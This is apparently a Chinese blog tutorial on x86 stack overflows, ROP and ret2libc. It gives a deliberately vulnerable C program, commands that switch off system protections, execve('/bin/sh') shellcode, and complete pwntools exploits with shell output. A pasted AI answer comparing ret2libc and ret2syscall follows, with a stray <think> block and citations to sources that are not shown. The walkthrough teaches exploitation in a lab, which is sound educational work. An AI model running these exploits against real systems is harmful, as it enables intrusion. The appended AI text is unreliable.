一步一步学ROP——shellcode和ret2libc

本文介绍ROP(返回导向编程)的基本原理及其在绕过现代操作系统防御机制中的应用。通过具体实例,详细展示了如何利用ROP技术进行程序流劫持,包括关闭不同安全防护、确定溢出点位置、生成shellcode及利用ret2libc绕过DEP防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法。

1 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。
首先来看这个有明显缓冲区溢出的程序:

//level1.c
#undef  _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
1.1 关闭DEP和Stack Protector

这里我们用
gcc -fno-stack-protector -z execstack -o level1 level1.c
这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。

1.2 关闭ASLR保护

同时我们在shell中执行:
echo 0 > /proc/sys/kernel/randomize_va_space
这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。接下来我们开始对目标程序进行分析。

1.3 确定溢出点的位置

首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。
1.3.1生成字符串
我们使用如下命令:来生成一串测试用的150个字节的字符串:

python pattern.py create 150 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

1.3.2 寻找内存出错地址
随后我们使用gdb ./level1调试程序。

gdb ./level1
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()

1.3.3 确定溢出点大小
可以得到内存出错的地址为0x37654136。随后我们使用命令:

python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

1.4 生成shellcode

接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。

#!c
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|
1.4 寻找shellcode的注入地址

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?
最简单的方法就是开启core dump这个功能。
1.4.1 生成core记录文件

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
1.4.2 查找buf真实地址

$./level1 
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

$ gdb level1 /tmp/core.1433844471 
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()

(gdb) x/10s $esp-144
0xbffff290:  "ABCD", 'A' <repeats 153 times>, "\n\374\267`\204\004\b"
0xbffff335:  ""

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。

1.5 编写exp并执行

OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

#!bash
p = process('./level1')  #本地测试
p = remote('127.0.0.1',10001)  #远程攻击
最终本地测试代码如下:
#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

执行exp:

$ python exp1.py 
[+] Started program './level1'
[*] Switching to interactive mode
$ whoami
root

2 Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

2.1 打开DEP

现在我们把DEP打开,依然关闭stack protector和ASLR。编译方法如下:

gcc -fno-stack-protector -o level2 level2.c

这时候我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

level1:   bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
level2:   bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]
2.2 找到system()和"/bin/sh"

那么如何执行shellcode呢?我们知道level2调用了libc.so并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。
如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。如果使用peda话,search的命令需要改一下.
先找到system地址:

$ gdb ./level2
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
….
(gdb) break main
Breakpoint 1 at 0x8048430
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level2 

Breakpoint 1, 0x08048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e5f460 <system>

使用gdb找"/bin/sh":

(gdb) find 0xb7e393f0, +2200000, "/bin/sh"
0xb7f81ff8
warning: Unable to access target memory at 0xb7fc8500, halting search.
1 pattern found.
(gdb) x/s 0xb7f81ff8
0xb7f81ff8:  "/bin/sh"

或者使用gdb-peda找到"/bin/sh":

gdb-peda$ searchmem "/bin/sh" 0xf7e07000 0xf7fb8000
Searching for '/bin/sh' in range: 0xf7e07000 - 0xf7fb8000
Found 1 results, display max 1 items:
libc : 0xf7f6002b ("/bin/sh")

使用gdb-peda找"/bin/sh"时,需要先找起始地址和结束地址,可以使用
cat /proc/{pid}/maps查看一下libc的起始地址(f7e07000)和结束地址(f7fb8000 )

f7e07000-f7fb4000 r-xp 00000000 08:01 914180                             /lib32/libc-2.23.so
f7fb4000-f7fb5000 ---p 001ad000 08:01 914180                             /lib32/libc-2.23.so
f7fb5000-f7fb7000 r--p 001ad000 08:01 914180                             /lib32/libc-2.23.so
f7fb7000-f7fb8000 rw-p 001af000 08:01 914180                             /lib32/libc-2.23.so

其上的{pid}可以用ps查看pid码。

2.3 编写exp并执行

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e5f460以及”/bin/sh”的地址0xb7f81ff8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e5f460
binshaddr=0xb7f81ff8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

$ python exp2.py 
[+] Started program './level2'
[*] Switching to interactive mode
$ whoami
mzheng

OK。测试成功。

<think>好的,我现在需要回答用户关于ret2libcret2syscall区别的问题。首先,我得回忆一下这两种攻击方式的基本概念,然后找出它们之间的不同点。用户提供的引用中有几个相关的资料,我需要仔细看一下这些引用内容,确保回答准确。 首先,ret2libc是一种利用程序中已有的库函数(比如system函数)的攻击方式,通常用于绕过NX保护。当程序没有提供后门函数时,攻击者可能需要泄露libc的地址,然后构造ROP链调用system函数。引用34提到了ret2libc的例子,比如调用system函数并传递参数如"/bin/sh"字符串的地址。 接下来是ret2syscall,这应该是指直接调用系统调用(syscall)而不是通过libc中的函数。比如在x86架构下,通过int 0x80指令,或者在x64架构下使用syscall指令来执行系统调用。这种攻击需要控制寄存器的值来传递系统调用号参数,通常需要构造更复杂的ROP链来设置这些寄存器。 两者的主要区别在于利用的机制不同:ret2libc依赖现有的库函数,而ret2syscall直接使用系统调用。另外,ret2syscall可能不需要泄漏libc地址,但需要找到合适的gadgets来设置寄存器。而ret2libc可能需要泄漏libc基址来计算函数地址,特别是当ASLR启用时。 需要注意的是,用户提供的引用中并没有直接提到ret2syscall的具体例子,但引用2提到了栈溢出/ret2shellcode/ret2syscall/ret2libc的分类,说明ret2syscall是另一种方法。结合我的知识,ret2syscall通常涉及将返回地址指向syscall指令,并布置好寄存器参数。 另外,用户可能混淆了ret2syscallret2shellcode的区别。ret2shellcode是将控制流转向注入的shellcode,而ret2syscall是构造系统调用。不过根据引用中的分类,ret2syscall是独立的一种方法。 现在需要组织这些信息,分点说明两者的区别,包括原理、适用场景、利用条件以及示例。同时,根据用户提供的引用,引用34中的ret2libc例子可以引用作为说明,而ret2syscall可能没有直接引用,但可以结合知识进行解释。 最后,生成相关问题,可能涉及如何构造payload、如何寻找gadgets、防御措施等。确保问题与主题相关,并帮助用户进一步习。</think>### ret2libc与ret2syscall的区别及用法比较 #### 1. **原理差异** - **ret2libc**:通过劫持程序执行流,跳转到动态链接库(如`libc.so`)中的函数(如`system`)执行。例如,构造栈帧调用`system("/bin/sh")`获取shell[^3][^4]。 - **ret2syscall**:直接触发系统调用(如`execve`),通过汇编指令(如`int 0x80`或`syscall`)实现,需控制寄存器传递参数(如`eax`存储系统调用号,`ebx`、`ecx`等存储参数)[^2]。 #### 2. **适用场景** - **ret2libc**: - 当程序开启**NX保护**(禁止执行栈上的代码)时,无法注入shellcode。 - 需要利用程序中已有的`libc`函数地址或通过泄漏`libc`基址计算目标函数地址。 - **ret2syscall**: - 当程序中存在可用的**gadget链**(如`pop eax; ret`)时。 - 需要直接调用系统调用且无需依赖`libc`函数(如绕过ASLR对`libc`的影响)。 #### 3. **利用条件对比** | 条件 | ret2libc | ret2syscall | |---------------------|-----------------------------------|----------------------------------| | **依赖库函数** | 是(如`system`、`execve`) | 否(直接调用内核接口) | | **寄存器控制** | 仅需传递参数地址(如`/bin/sh`) | 需设置多个寄存器(系统调用号+参数)| | **对抗NX保护** | 有效(不执行栈代码) | 有效 | | **对抗ASLR** | 需泄漏`libc`基址 | 可能无需泄漏(若gadget地址固定) | #### 4. **示例对比** - **ret2libc示例**(调用`system("/bin/sh")`): ```python # 构造栈帧:[溢出填充] + [system地址] + [返回地址] + [参数地址] payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr]) ``` - **ret2syscall示例**(触发`execve("/bin/sh", 0, 0)`): ```python # 需构造gadget链设置eax=11(execve系统调用号),ebx指向"/bin/sh",ecx=0, edx=0 gadgets = [pop_eax_ret, 11, pop_ebx_ret, binsh_addr, pop_ecx_edx_ret, 0, 0, int_0x80] payload = flat(['a' * offset] + gadgets) ``` #### 5. **防御措施** - **ret2libc**:启用**ASLR**随机化`libc`基址;限制函数指针修改。 - **ret2syscall**:部署**Control Flow Integrity (CFI)** 阻止非法ROP链;减少可用gadget数量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值